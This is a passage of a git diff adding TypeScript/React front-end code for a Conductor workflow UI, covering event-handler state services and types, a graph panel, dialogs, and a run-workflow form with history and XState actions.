[SaveEventHandlerStates.SAVED_CANCELLED]: { + type: "final", + data: ({ editorChanges }) => ({ + saved: false, + editorChanges, + }), + }, + }, + }, + { actions: actions as any, guards, services }, +); diff --git a/ui-next/src/pages/definition/EventHandler/eventhandlers/state/services.ts b/ui-next/src/pages/definition/EventHandler/eventhandlers/state/services.ts new file mode 100644 index 0000000..ac17298 --- /dev/null +++ b/ui-next/src/pages/definition/EventHandler/eventhandlers/state/services.ts @@ -0,0 +1,116 @@ +import _isEmpty from "lodash/isEmpty"; +import { fetchWithContext } from "plugins/fetch"; +import { SaveEventHandlerMachineContext } from "./types"; +import { queryClient } from "../../../../../queryClient"; +import { fetchContextNonHook } from "plugins/fetch"; +import { getErrors, logger, tryFunc } from "utils"; +import { NEW_EVENT_HANDLER_TEMPLATE } from "../eventHandlerSchema"; + +const fetchContext = fetchContextNonHook(); + +export const createEventHandler = async ( + { editorChanges, authHeaders }: SaveEventHandlerMachineContext, + __: any, +) => { + return tryFunc({ + fn: async () => { + return await fetchWithContext( + "/event", + {}, + { + method: "POST", + headers: { + "Content-Type": "application/json", + ...authHeaders, + }, + body: editorChanges, + }, + ); + }, + }); +}; + +export const updateEventHandler = async ( + { editorChanges, authHeaders }: SaveEventHandlerMachineContext, + __: any, +) => { + return tryFunc({ + fn: async () => { + return await fetchWithContext( + "/event", + {}, + { + method: "PUT", + headers: { + "Content-Type": "application/json", + ...authHeaders, + }, + body: editorChanges, + }, + ); + }, + }); +}; + +export const fetchEventHandler = async ( + { + authHeaders, + eventHandlerName, + isNewEventHandler, + }: SaveEventHandlerMachineContext, + __: any, +) => { + // OSS Conductor doesn't have a /event/handler/{name} endpoint + // We need to fetch all event handlers and filter by name + const path = "/event"; + + return tryFunc({ + fn: async () => { + if (isNewEventHandler) { + return NEW_EVENT_HANDLER_TEMPLATE; + } + + const allHandlers = await queryClient.fetchQuery( + [path, eventHandlerName], + () => fetchWithContext(path, fetchContext, { headers: authHeaders }), + ); + + // Find the event handler by name + const result = Array.isArray(allHandlers) + ? allHandlers.find((handler: any) => handler.name === eventHandlerName) + : null; + + if (_isEmpty(result)) { + return Promise.reject({ message: "Event handler not found" }); + } + + return result; + }, + customError: { message: "Event handler not found" }, + }); +}; + +export const deleteEventHandler = async ( + { eventHandlerName, authHeaders }: SaveEventHandlerMachineContext, + __: any, +) => { + try { + const path = `/event/${encodeURIComponent(eventHandlerName)}`; + return await fetchWithContext(path, fetchContext, { + method: "DELETE", + headers: authHeaders, + }); + } catch (error: any) { + logger.error("[deleteEventHandler] error:", error); + if (error?.status === 403) { + return Promise.reject({ + message: "You do not have permission to delete this event handler.", + }); + } + const details = await getErrors(error); + return Promise.reject({ + originalError: details, + message: details?.message, + }); + } +}; diff --git a/ui-next/src/pages/definition/EventHandler/eventhandlers/state/types.ts b/ui-next/src/pages/definition/EventHandler/eventhandlers/state/types.ts new file mode 100644 index 0000000..d0edd9b --- /dev/null +++ b/ui-next/src/pages/definition/EventHandler/eventhandlers/state/types.ts @@ -0,0 +1,153 @@ +import { DoneInvokeEvent } from "xstate"; + +export enum SaveEventHandlerMachineEventTypes { + SAVE_EVT = "SAVE_EVT", + CONFIRM_SAVE_EVT = "CONFIRM_SAVE", + CANCEL_SAVE_EVT = "CANCEL_SAVE", + EDIT_EVT = "EDIT_EVT", + EDIT_DEBOUNCE_EVT = "CANCEL_DEBOUNCE", + RESET_EVT = "RESET_EVT", + RESET_CONFIRM_EVT = "RESET_CONFIRM_EVT", + DELETE_EVT = "DELETE_EVT", + DELETE_CONFIRM_EVT = "DELETE_CONFIRM_EVT", + UPDATE_EVENTHANDLER_EVT = "UPDATE_EVENTHANDLER_EVT", + UPDATE_ORIGINAL_SOURCE_EVT = "UPDATE_ORIGINAL_SOURCE_EVT", + NEW_EVENT_HANDLER_REQUEST = "NEW_EVENT_HANDLER_REQUEST", + CONFIRM_NEW_EVENT = "CONFIRM_NEW_EVENT", + BACK_TO_IDLE = "BACK_TO_IDLE", + SHOW_ERROR_MESSAGE = "SHOW_ERROR_MESSAGE", + CLEAR_ERROR_MESSAGE = "CLEAR_ERROR_MESSAGE", + TOGGLE_FORM_EDITOR_EVT = "TOGGLE_FORM_EDITOR_EVT", + SAVED_SUCCESSFUL = "SAVED_SUCCESSFUL", + SAVED_CANCELLED = "SAVED_CANCELLED", +} + +export type ResetEvent = { + type: SaveEventHandlerMachineEventTypes.RESET_EVT; +}; + +export type ResetConfirmEvent = { + type: SaveEventHandlerMachineEventTypes.RESET_CONFIRM_EVT; +}; + +export type DeleteEvent = { + type: SaveEventHandlerMachineEventTypes.DELETE_EVT; +}; + +export type DeleteConfirmEvent = { + type: SaveEventHandlerMachineEventTypes.DELETE_CONFIRM_EVT; +}; + +export type SaveEvent = { + type: SaveEventHandlerMachineEventTypes.SAVE_EVT; +}; + +export type ConfirmSaveEvent = { + type: SaveEventHandlerMachineEventTypes.CONFIRM_SAVE_EVT; +}; + +export type CancelSaveEvent = { + type: SaveEventHandlerMachineEventTypes.CANCEL_SAVE_EVT; +}; + +export type EditEvent = { + type: SaveEventHandlerMachineEventTypes.EDIT_EVT; + changes: string; +}; + +export type EditDebounceEvent = { + type: SaveEventHandlerMachineEventTypes.EDIT_DEBOUNCE_EVT; + changes: string; +}; + +export type UpdateEventHandlerEvent = { + type: SaveEventHandlerMachineEventTypes.UPDATE_EVENTHANDLER_EVT; + data: any; +}; + +export type UpdateOriginalSourceEvent = { + type: SaveEventHandlerMachineEventTypes.UPDATE_ORIGINAL_SOURCE_EVT; + data: any; +}; + +export type NewEventHandlerRequestEvent = { + type: SaveEventHandlerMachineEventTypes.NEW_EVENT_HANDLER_REQUEST; +}; + +export type ConfirmNewEventEvent = { + type: SaveEventHandlerMachineEventTypes.CONFIRM_NEW_EVENT; +}; + +export type BackToIdleEvent = { + type: SaveEventHandlerMachineEventTypes.BACK_TO_IDLE; +}; + +export type ShowErrorMessageEvent = { + type: SaveEventHandlerMachineEventTypes.SHOW_ERROR_MESSAGE; + data: Record; +}; + +export type ClearErrorMessageEvent = { + type: SaveEventHandlerMachineEventTypes.CLEAR_ERROR_MESSAGE; +}; + +export type ToggleFormModeEvent = { + type: SaveEventHandlerMachineEventTypes.TOGGLE_FORM_EDITOR_EVT; + isEditorMode: boolean; +}; + +export type SavedSuccessfulEvent = { + type: SaveEventHandlerMachineEventTypes.SAVED_SUCCESSFUL; +}; + +export type SavedCancelledEvent = { + type: SaveEventHandlerMachineEventTypes.SAVED_CANCELLED; +}; + +export type SaveEventHandlerEvents = + | SaveEvent + | ConfirmSaveEvent + | CancelSaveEvent + | EditEvent + | EditDebounceEvent + | DoneInvokeEvent + | ResetEvent + | ResetConfirmEvent + | DeleteEvent + | DeleteConfirmEvent + | UpdateEventHandlerEvent + | UpdateOriginalSourceEvent + | NewEventHandlerRequestEvent + | ConfirmNewEventEvent + | BackToIdleEvent + | ShowErrorMessageEvent + | ClearErrorMessageEvent + | ToggleFormModeEvent + | SavedSuccessfulEvent + | SavedCancelledEvent; + +export interface SaveEventHandlerMachineContext { + editorChanges: string; + originalSource: string; + isNewEventHandler: boolean; + eventHandlerName: string; + authHeaders: Record; + message: string; + couldNotParseJson: boolean; +} + +export enum SaveEventHandlerStates { + IDLE = "idle", + EDITOR = "editor", + FORM = "form", + FETCH_EVENT_HANDLER_DEFINITION = "fetchEventHandlerDefinition", + CONFIRM_SAVE = "confirmSave", + CREATE_EVENT_HANDLER = "createEventHandler", + UPDATE_EVENT_HANDLER = "updateEventHandler", + SAVED_SUCCESSFULLY = "savedSuccessfully", + SAVED_CANCELLED = "savedCancelled", + CONFIRM_RESET = "confirmReset", + CONFIRM_DELETE = "confirmDelete", + CONFIRM_NEW = "confirmNew", + DELETE_EVENT_HANDLER = "deleteEventHandler", +} diff --git a/ui-next/src/pages/definition/EventHandler/index.ts b/ui-next/src/pages/definition/EventHandler/index.ts new file mode 100644 index 0000000..6ac204e --- /dev/null +++ b/ui-next/src/pages/definition/EventHandler/index.ts @@ -0,0 +1,3 @@ +import EventHandlerDefinition from "./EventHandler"; + +export { EventHandlerDefinition }; diff --git a/ui-next/src/pages/definition/GraphPanel.tsx b/ui-next/src/pages/definition/GraphPanel.tsx new file mode 100644 index 0000000..f2095c6 --- /dev/null +++ b/ui-next/src/pages/definition/GraphPanel.tsx @@ -0,0 +1,145 @@ +import { Box } from "@mui/material"; +import { X } from "@phosphor-icons/react"; +import { useSelector } from "@xstate/react"; +import AddTaskSidebar from "components/features/flow/components/RichAddTaskMenu/AddTaskSidebar"; +import { Flow } from "components/features/flow/Flow"; +import { selectIsOpenedEdge } from "components/features/flow/state/selectors"; +import MuiAlert from "components/ui/MuiAlert"; +import { + DefinitionMachineEventTypes, + WorkflowDefinitionEvents, +} from "pages/definition/state/types"; +import { LocalCopyMachineEvents } from "./ConfirmLocalCopyDialog/state/types"; +import { usePanelChanges } from "pages/definition/state/usePanelChanges"; +import { useCallback, useMemo, useState } from "react"; +import { ActorRef } from "xstate"; +import { RichAddTaskMenuEvents } from "components/features/flow/components/RichAddTaskMenu/state"; +import { FlowEvents } from "components/features/flow/state"; +import { useLocalCopyMachine } from "./ConfirmLocalCopyDialog/state/hook"; +import ProgressIcon from "./progressicons"; + +type RichAddTaskMenuActorRef = ActorRef; +type FlowActorRef = ActorRef & { + children: Map; +}; + +const GraphPanel = ({ + definitionActor, +}: { + definitionActor: ActorRef; +}) => { + const { leftPanelExpanded, setLeftPanelExpanded: _setLeftPanelExpanded } = + usePanelChanges(definitionActor); + const localCopyMessage = useSelector( + definitionActor, + (state) => state.context.localCopyMessage, + ); + const flowActor = ( + definitionActor as ActorRef & { + children: Map; + } + ).children?.get("flowMachine"); + const [isHovered, setIsHovered] = useState(false); + + const openedEdge = useSelector(flowActor!, selectIsOpenedEdge); + + const richAddTaskMenuActor = flowActor?.children.get( + "richAddTaskMenuMachine", + ); + + const menuType = useSelector( + richAddTaskMenuActor || flowActor!, + (state: { context: { menuType?: "quick" | "advanced" } }) => + richAddTaskMenuActor ? state.context.menuType : undefined, + ); + + const [{ handleRemoveLocalCopyMessage }] = useLocalCopyMachine( + definitionActor as unknown as ActorRef, + ); + const handleResetRequest = useCallback(() => { + definitionActor.send({ type: DefinitionMachineEventTypes.RESET_EVT }); + }, [definitionActor]); + + const linkStyle = useMemo( + () => ({ + cursor: "pointer", + color: isHovered ? "#13599e" : "#1976d2", + padding: "0 3px", + }), + [isHovered], + ); + const localCopyAlert = useMemo( + () => ( + + ), + [handleResetRequest, localCopyMessage, linkStyle], + ); + return ( + + {localCopyMessage ? ( + + + + + handleRemoveLocalCopyMessage()} + /> + + } + > + {localCopyAlert} + + ) : null} + + {flowActor && + (openedEdge && menuType === "advanced" ? ( + + + + + + + + ) : ( + + ))} + + ); +}; + +export default GraphPanel; diff --git a/ui-next/src/pages/definition/ImportSuccessfulDialog.tsx b/ui-next/src/pages/definition/ImportSuccessfulDialog.tsx new file mode 100644 index 0000000..23833b2 --- /dev/null +++ b/ui-next/src/pages/definition/ImportSuccessfulDialog.tsx @@ -0,0 +1,52 @@ +import ConfirmChoiceDialog from "components/ui/dialogs/ConfirmChoiceDialog"; +import { openInNewTab } from "utils/helpers"; + +const ImportSuccessfulDialog = ({ + workflowName, + blogUrl, + hideModal, +}: { + workflowName: string; + blogUrl?: string; + hideModal: () => void; +}) => { + const handleConfirmationValue = (confirmed: boolean) => { + if (confirmed) { + hideModal(); + } + }; + + return ( + + You have successfully imported {workflowName} into your cluster and + you can start running this. + {blogUrl && ( +
      + Refer to this{" "} + openInNewTab(blogUrl)} + style={{ + cursor: "pointer", + color: "#1976d2", + fontWeight: "500", + }} + > + article + {" "} + to understand more details about this workflow and how to use it. +
      + )} + + } + id="workflow-import-successful-dialog" + header={"Nice work"} + confirmBtnLabel="Close" + hideCancelBtn + /> + ); +}; + +export default ImportSuccessfulDialog; diff --git a/ui-next/src/pages/definition/PromptIfChanges.tsx b/ui-next/src/pages/definition/PromptIfChanges.tsx new file mode 100644 index 0000000..5e86bfc --- /dev/null +++ b/ui-next/src/pages/definition/PromptIfChanges.tsx @@ -0,0 +1,118 @@ +import fastDeepEqual from "fast-deep-equal"; +import { FunctionComponent, useCallback } from "react"; +import BlockNavigationWithConfirmation from "components/BlockNavigationWithConfirmation"; +import { useSaveProtection } from "shared/useSaveProtection"; +import { ActorRef } from "xstate"; +import { SaveWorkflowMachineEventTypes } from "./confirmSave/state/types"; +import { + DefinitionMachineEventTypes, + WorkflowDefinitionEvents, +} from "./state/types"; +import { useWorkflowChanges } from "./state/useMadeChanges"; +import { useAgentContext } from "components/features/agent/AgentContext"; +export interface HeaderActionButtonsProps { + definitionActor: ActorRef; +} + +export const PromptIfChanges: FunctionComponent = ({ + definitionActor: service, +}) => { + const { cancelStream, clearMessages } = useAgentContext(); + const { workflowChanges, currentWf } = useWorkflowChanges(service); + const noFormChanges = currentWf + ? fastDeepEqual(workflowChanges, currentWf) + : true; + + // Simple validation check for common issues + const checkHasErrors = (workflowToCheck: typeof workflowChanges) => { + if (!workflowToCheck) { + return false; + } + + // Check for common validation issues + const issues = []; + + // Check if name is missing or empty + if (!workflowToCheck.name || workflowToCheck.name.trim() === "") { + issues.push("Missing workflow name"); + } + + // Check if description is missing or empty + if ( + !workflowToCheck.description || + workflowToCheck.description.trim() === "" + ) { + issues.push("Missing workflow description"); + } + + // Check if tasks array exists and has items + if (!workflowToCheck.tasks || workflowToCheck.tasks.length === 0) { + issues.push("No tasks defined"); + } + + // Check for tasks with missing required fields + if (workflowToCheck.tasks) { + workflowToCheck.tasks.forEach( + ( + task: { name?: string; taskReferenceName?: string; type?: string }, + index: number, + ) => { + if (!task.name || task.name.trim() === "") { + issues.push(`Task ${index + 1} is missing a name`); + } + if (!task.taskReferenceName || task.taskReferenceName.trim() === "") { + issues.push(`Task ${index + 1} is missing a taskReferenceName`); + } + if (!task.type || task.type.trim() === "") { + issues.push(`Task ${index + 1} is missing a type`); + } + }, + ); + } + + return issues.length > 0; + }; + + const { showPrompt, successfulSave, hasErrors, handleSave } = + useSaveProtection({ + actor: service, + noFormChanges, + isSaveInProgress: (state) => state.hasTag?.("saveRequest") ?? false, + hasErrors: () => { + const workflowToCheck = workflowChanges || currentWf; + return checkHasErrors(workflowToCheck); + }, + detectSaveSuccessFromEvent: (eventType) => { + if (eventType === SaveWorkflowMachineEventTypes.SAVED_SUCCESSFUL) { + return true; + } else if ( + eventType === SaveWorkflowMachineEventTypes.SAVED_CANCELLED + ) { + return false; + } + return undefined; + }, + handleSaveAction: (actor) => { + actor.send({ type: DefinitionMachineEventTypes.SAVE_EVT }); + }, + }); + + const handleDiscard = useCallback(() => { + // Cancel any ongoing stream + cancelStream(); + // Clear assistant chat messages + clearMessages(); + }, [cancelStream, clearMessages]); + + return ( + + ); +}; diff --git a/ui-next/src/pages/definition/RunWorkflow/RunWorkflowForm.tsx b/ui-next/src/pages/definition/RunWorkflow/RunWorkflowForm.tsx new file mode 100644 index 0000000..f5fcc94 --- /dev/null +++ b/ui-next/src/pages/definition/RunWorkflow/RunWorkflowForm.tsx @@ -0,0 +1,158 @@ +import { Box, Grid } from "@mui/material"; +import { Button } from "components"; +import Paper from "components/ui/Paper"; +import { SnackbarMessage } from "components/ui/SnackbarMessage"; +import { ConductorCodeBlockInput } from "components/ui/inputs/ConductorCodeBlockInput"; +import ConductorInput from "components/ui/inputs/ConductorInput"; +import ResetIcon from "components/icons/ResetIcon"; +import IdempotencyForm from "pages/runWorkflow/IdempotencyForm"; +import { editor, type EditorOptions } from "shared/editor"; +import { SMALL_EDITOR_DEFAULT_OPTIONS } from "utils/constants"; +import { useLocalStorage } from "utils/localstorage"; +import { ActorRef } from "xstate"; +import { WorkflowDefinitionEvents } from "../state"; +import { RunWorkflowHistoryTable } from "./RunWorkflowHistoryTable"; +import { + RunMachineEvents, + RunWorkflowParamType, + useRunTabActor, +} from "./state"; + +interface RunWorkFlowFormProps { + runTabActor: ActorRef; + workflowDefinitionActor: ActorRef; +} + +const additionalEditorOptions: EditorOptions = { + scrollBeyondLastLine: false, + wrappingStrategy: "advanced", + lightbulb: { enabled: editor.ShowLightbulbIconMode.On }, + quickSuggestions: true, + lineNumbers: "on", + wordWrap: "on", + glyphMargin: false, + folding: false, + lineDecorationsWidth: 10, + lineNumbersMinChars: 0, + renderLineHighlight: "none", + hideCursorInOverviewRuler: false, + overviewRulerBorder: false, + automaticLayout: true, // Important +}; + +export const RunWorkFlowForm = ({ runTabActor }: RunWorkFlowFormProps) => { + const [ + { + currentWf, + input, + correlationId, + taskToDomain, + + popoverMessage, + idempotencyKey, + idempotencyStrategy, + }, + { + handleChangeInputParams, + handleChangeCorrelationId, + handleChangeTasksToDomain, + handleClearForm, + + handlePopoverMessage, + handleFillAllFields, + handleChangeIdempotencyValues, + }, + ] = useRunTabActor(runTabActor); + + const [workflowHistory, setWorkflowHistory] = useLocalStorage( + "workflowHistory", + [], + ); + const handlefillReRunWfFields = (data: RunWorkflowParamType) => { + const payload = { + correlationId: data.correlationId, + input: JSON.stringify(data.input, null, 2) ?? "", + taskToDomain: JSON.stringify(data.taskToDomain, null, 2) ?? "", + idempotencyKey: data.idempotencyKey, + idempotencyStrategy: data.idempotencyStrategy, + }; + handleFillAllFields(payload); + }; + + return ( + + + {popoverMessage && ( + handlePopoverMessage(null)} + /> + )} + + + + + + + + + + + + + + + + + + + + + ); +}; diff --git a/ui-next/src/pages/definition/RunWorkflow/RunWorkflowHistoryTable.tsx b/ui-next/src/pages/definition/RunWorkflow/RunWorkflowHistoryTable.tsx new file mode 100644 index 0000000..9b1292e --- /dev/null +++ b/ui-next/src/pages/definition/RunWorkflow/RunWorkflowHistoryTable.tsx @@ -0,0 +1,192 @@ +import { Box, Link as ClickableLink, Tooltip } from "@mui/material"; +import IconButton from "@mui/material/IconButton"; +import { + Link as LinkIcon, + ArrowCounterClockwise as Replay, + Trash, +} from "@phosphor-icons/react"; +import { Button, DataTable, Paper } from "components"; +import ConfirmChoiceDialog from "components/ui/dialogs/ConfirmChoiceDialog"; +import _difference from "lodash/difference"; +import _isEmpty from "lodash/isEmpty"; +import _isEqual from "lodash/isEqual"; +import { FunctionComponent, useMemo, useState } from "react"; +import { ExtendedFieldsData, FieldsData, RunWorkflowParamType } from "./state"; + +interface RunWorkflowHistoryTableProps { + workflowName?: string; + fillReRunWfFields: (data: RunWorkflowParamType) => void; + workflowHistory: ExtendedFieldsData[]; + setWorkflowHistory: (data: FieldsData[]) => void; +} + +export const RunWorkflowHistoryTable: FunctionComponent< + RunWorkflowHistoryTableProps +> = ({ + workflowName, + fillReRunWfFields, + workflowHistory, + setWorkflowHistory, +}) => { + const filteredWorkflowHistory = useMemo(() => { + let newHistory = []; + if (workflowName && Array.isArray(workflowHistory)) { + newHistory = workflowHistory.filter((item) => item.name === workflowName); + return newHistory; + } + return workflowHistory; + }, [workflowName, workflowHistory]); + const [showConfirmDialog, setShowConfirmDialog] = useState(false); + const showExecution = (executionlink: string) => { + if (Array.isArray(workflowHistory)) { + const found = workflowHistory.find( + (el) => el.executionLink === executionlink, + ); + if (!found) { + return; + } + window.open(`/execution/${executionlink}`, "_blank", "noreferrer"); + } + }; + + const handleClearWorkflowHistory = () => { + let remainingHistory: FieldsData[] = []; + if (_isEqual(workflowHistory, filteredWorkflowHistory)) { + setWorkflowHistory([]); + } else { + remainingHistory = _difference(workflowHistory, filteredWorkflowHistory); + setWorkflowHistory(remainingHistory); + } + }; + + return ( + + {showConfirmDialog && ( + { + if (confirmed) { + handleClearWorkflowHistory(); + setShowConfirmDialog(false); + } else { + setShowConfirmDialog(false); + } + }} + message={"Are you sure you want to delete the Run Workflow History?"} + /> + )} + + History is empty + + } + defaultSortFieldId="executionTime" + defaultSortAsc={false} + columns={[ + { + id: "name", + name: "name", + label: "Execution name", + grow: 0.5, + renderer: (val, row) => { + return ( +
      + {row.executionLink ? ( + showExecution(row.executionLink)} + target="noreferrer noopener" + > + {row.name} + + ) : ( + row.name + )} +
      + ); + }, + }, + { + id: "executionLink", + name: "executionLink", + label: "Execution link", + grow: 0, + center: true, + renderer: (val) => { + return ( +
      + {val && ( + showExecution(val)} + //target="noreferrer noopener" + // path={`/execution/${val}`} + > + + + )} +
      + ); + }, + }, + { + id: "executionTime", + name: "executionTime", + label: "Execution time", + grow: 0.25, + renderer: (val) => { + return new Date(val).toLocaleString(); + }, + }, + { + id: "useData", + name: "useData", + label: "Restore form values", + grow: 0.25, + right: true, + renderer: (val, row) => { + return ( + { + fillReRunWfFields(row); + }} + > + + + ); + }, + }, + ]} + data={filteredWorkflowHistory} + actions={[ + + + , + ]} + /> +       + ); +}; diff --git a/ui-next/src/pages/definition/RunWorkflow/index.ts b/ui-next/src/pages/definition/RunWorkflow/index.ts new file mode 100644 index 0000000..c419123 --- /dev/null +++ b/ui-next/src/pages/definition/RunWorkflow/index.ts @@ -0,0 +1 @@ +export * from "./RunWorkflowForm"; diff --git a/ui-next/src/pages/definition/RunWorkflow/state/actions.ts b/ui-next/src/pages/definition/RunWorkflow/state/actions.ts new file mode 100644 index 0000000..fd660bc --- /dev/null +++ b/ui-next/src/pages/definition/RunWorkflow/state/actions.ts @@ -0,0 +1,169 @@ +import { DoneInvokeEvent, assign, sendParent } from "xstate"; +import { + ClearFormEvent, + HandlePopoverMessageEvent, + RunMachineContext, + RunWorkflowParamType, + UpdateAllFieldsEvent, + UpdateCorrelationIdEvent, + UpdateIdempotencyKeyEvent, + UpdateInputParamsEvent, + UpdateTasksToDomainEvent, + UpdateIdempotencyStrategyEvent, + UpdateIdempotencyValuesEvent, +} from "./types"; +import { getTemplateFromInputParams } from "pages/runWorkflow/runWorkflowUtils"; +import { WorkflowDef } from "types/WorkflowDef"; +import { DefinitionMachineEventTypes } from "pages/definition/state"; +import { tryToJson } from "utils/utils"; +import _pick from "lodash/pick"; +import _isEmpty from "lodash/isEmpty"; +import { sendTo } from "xstate/lib/actions"; +import { ErrorInspectorEventTypes } from "pages/definition/errorInspector/state"; + +const templateFromInputParams = (currentWf: Partial) => + currentWf && + currentWf["inputParameters"] && + currentWf["inputParameters"].length > 0 + ? getTemplateFromInputParams(currentWf["inputParameters"]) + : "{}"; + +const shouldPreserveInput = (input?: string) => + input && input.trim() !== "" && input.trim() !== "{}"; + +const getInputFromHistory = (currentWf: any) => { + const history: RunWorkflowParamType[] = + tryToJson(localStorage.getItem("workflowHistory")) || []; + const filtered = history.filter((item) => item.name === currentWf.name); + if (filtered.length > 0) { + const historyInput = filtered[0].input ?? {}; + const wfInput = + tryToJson(getTemplateFromInputParams(currentWf["inputParameters"])) || {}; + let merged = { ...wfInput, ...historyInput }; + merged = _pick(merged, currentWf.inputParameters ?? []); + return JSON.stringify(merged, null, 2); + } + return null; +}; + +export const persistInputParams = assign< + RunMachineContext, + UpdateInputParamsEvent +>({ + input: (_context, { changes }) => changes, +}); + +export const persistCorrelationId = assign< + RunMachineContext, + UpdateCorrelationIdEvent +>({ + correlationId: (_context, { changes }) => changes, +}); + +export const persistIdempotencyKey = assign< + RunMachineContext, + UpdateIdempotencyKeyEvent +>({ + idempotencyKey: (_context, { changes }) => changes, +}); + +export const persistIdempotencyStrategy = assign< + RunMachineContext, + UpdateIdempotencyStrategyEvent +>({ + idempotencyStrategy: (_context, { changes }) => changes, +}); + +export const persistIdempotencyValues = assign< + RunMachineContext, + UpdateIdempotencyValuesEvent +>({ + idempotencyKey: (_context, { changes }) => changes?.idempotencyKey, + idempotencyStrategy: (_context, { changes }) => changes?.idempotencyStrategy, +}); + +export const persistTasksToDomain = assign< + RunMachineContext, + UpdateTasksToDomainEvent +>({ + taskToDomain: (_context, { changes }) => changes, +}); +export const clearForm = assign( + (context, _data) => { + return { + taskToDomain: "{}", + correlationId: "", + input: templateFromInputParams(context.currentWf ?? {}), + idempotencyKey: "", + }; + }, +); + +export const checkForExistingInputParams = assign< + RunMachineContext, + DoneInvokeEvent +>((context) => { + if (shouldPreserveInput(context.input)) { + return {}; + } + + let input = getInputFromHistory(context.currentWf); + + // If no history, check for default parameters first + if ( + (!input || input.trim() === "{}") && + !_isEmpty(context.workflowDefaultRunParam) + ) { + input = JSON.stringify(context.workflowDefaultRunParam, null, 2); + } + // Only fall back to empty template if no history and no defaults + if (!input) { + input = templateFromInputParams(context.currentWf ?? {}); + } + + return { + input, + }; +}); + +export const persistPopupMessage = assign< + RunMachineContext, + HandlePopoverMessageEvent +>((_, { popoverMessage }) => ({ + popoverMessage, +})); + +export const redirectToNewExecution = sendParent( + (context: RunMachineContext, { data }: { type: string; data: string }) => ({ + type: DefinitionMachineEventTypes.REDIRECT_TO_EXECUTION_PAGE, + executionId: data, + }), +); + +export const persistAllFields = assign( + (_context, { data }) => data, +); + +export const reportErrorToErrorInspector = sendTo( + ({ errorInspectorMachine }) => errorInspectorMachine, + (_context, { data }: DoneInvokeEvent<{ message: string }>) => ({ + type: ErrorInspectorEventTypes.REPORT_RUN_ERROR, + text: data.message, + }), +); + +export const sendContextToParent = sendParent( + (context: RunMachineContext, event) => ({ + type: DefinitionMachineEventTypes.SYNC_RUN_CONTEXT_AND_CHANGE_TAB, + data: { + originalEvent: event, + runMachineContext: { + input: context.input, + correlationId: context.correlationId, + taskToDomain: context.taskToDomain, + idempotencyKey: context.idempotencyKey, + idempotencyStrategy: context.idempotencyStrategy, + }, + }, + }), +); diff --git a/ui-next/src/pages/definition/RunWorkflow/state/hook.ts b/ui-next/src/pages/definition/RunWorkflow/state/hook.ts new file mode 100644 index 0000000..8f233cc --- /dev/null +++ b/ui-next/src/pages/definition/RunWorkflow/state/hook.ts @@ -0,0 +1,136 @@ +import { ActorRef, State } from "xstate"; +import { useSelector } from "@xstate/react"; +import { + RunMachineContext, + RunMachineEvents, + RunMachineEventsTypes, + RunMachineStates, + FieldsData, + IdempotencyStrategyEnum, + IdempotencyValuesProp, +} from "./types"; +import { PopoverMessage } from "types/Messages"; + +export const useRunTabActor = (actor: ActorRef) => { + const currentWf = useSelector( + actor, + (state: State) => state.context.currentWf, + ); + const input = useSelector( + actor, + (state: State) => state.context.input, + ); + const correlationId = useSelector( + actor, + (state: State) => state.context.correlationId, + ); + const idempotencyKey = useSelector( + actor, + (state: State) => state.context.idempotencyKey, + ); + const idempotencyStrategy = useSelector( + actor, + (state: State) => state.context.idempotencyStrategy, + ); + + const taskToDomain = useSelector( + actor, + (state: State) => state.context.taskToDomain, + ); + + const isRunning = useSelector(actor, (state) => + state.matches(RunMachineStates.RUN_WORKFLOW), + ); + const popoverMessage = useSelector( + actor, + (state: State) => state.context.popoverMessage, + ); + const handleChangeInputParams = (changes: string) => { + actor.send({ + type: RunMachineEventsTypes.UPDATE_INPUT_PARAMS, + changes, + }); + }; + const handleChangeCorrelationId = (changes: string) => { + actor.send({ + type: RunMachineEventsTypes.UPDATE_CORRELATION_ID, + changes, + }); + }; + const handleChangeIdempotencyKey = (changes: string) => { + actor.send({ + type: RunMachineEventsTypes.UPDATE_IDEMPOTENCY_KEY, + changes, + }); + }; + const handleChangeIdempotencyStrategy = ( + changes: IdempotencyStrategyEnum, + ) => { + actor.send({ + type: RunMachineEventsTypes.UPDATE_IDEMPOTENCY_STRATEGY, + changes, + }); + }; + + const handleChangeIdempotencyValues = (changes: IdempotencyValuesProp) => { + actor.send({ + type: RunMachineEventsTypes.UPDATE_IDEMPOTENCY_VALUES, + changes, + }); + }; + const handleChangeTasksToDomain = (changes: string) => { + actor.send({ + type: RunMachineEventsTypes.UPDATE_TASKS_TO_DOMAIN_MAPPING, + changes, + }); + }; + const handleClearForm = () => { + actor.send({ + type: RunMachineEventsTypes.CLEAR_FORM, + }); + }; + const handleRunThisWorkflow = () => { + actor.send({ + type: RunMachineEventsTypes.TRIGGER_RUN_WORKFLOW, + }); + }; + + const handlePopoverMessage = (popoverMessage: PopoverMessage | null) => { + actor.send({ + type: RunMachineEventsTypes.HANDLE_POPOVER_MESSAGE, + popoverMessage, + }); + }; + + const handleFillAllFields = (data: FieldsData) => { + actor.send({ + type: RunMachineEventsTypes.UPDATE_ALL_FIELDS, + data, + }); + }; + + return [ + { + currentWf, + input, + correlationId, + taskToDomain, + isRunning, + popoverMessage, + idempotencyKey, + idempotencyStrategy, + }, + { + handleChangeInputParams, + handleChangeCorrelationId, + handleChangeTasksToDomain, + handleClearForm, + handleRunThisWorkflow, + handlePopoverMessage, + handleFillAllFields, + handleChangeIdempotencyKey, + handleChangeIdempotencyStrategy, + handleChangeIdempotencyValues, + }, + ] as const; +}; diff --git a/ui-next/src/pages/definition/RunWorkflow/state/index.ts b/ui-next/src/pages/definition/RunWorkflow/state/index.ts new file mode 100644 index 0000000..5ad9f97 --- /dev/null +++ b/ui-next/src/pages/definition/RunWorkflow/state/index.ts @@ -0,0 +1,5 @@ +export * from "./machine"; +export * from "./types"; +export * from "./actions"; +export * from "./hook"; +export * from "./services"; diff --git a/ui-next/src/pages/definition/RunWorkflow/state/machine.ts b/ui-next/src/pages/definition/RunWorkflow/state/machine.ts new file mode 100644 index 0000000..6a6d37c --- /dev/null +++ b/ui-next/src/pages/definition/RunWorkflow/state/machine.ts @@ -0,0 +1,89 @@ +import { createMachine } from "xstate"; +import * as actions from "./actions"; +import * as services from "./services"; +import { + RunMachineContext, + RunMachineEventsTypes, + RunMachineEvents, + RunMachineStates, +} from "./types"; + +export const runMachine = createMachine( + { + predictableActionArguments: true, + id: "runWorkflowMachine", + initial: RunMachineStates.CHECK_INPUT_PARAMS, + context: { + authHeaders: undefined, + currentWf: {}, + input: "{}", + workflowDefaultRunParam: undefined, + correlationId: undefined, + errorInspectorMachine: undefined, + taskToDomain: "{}", + popoverMessage: null, + idempotencyKey: undefined, + 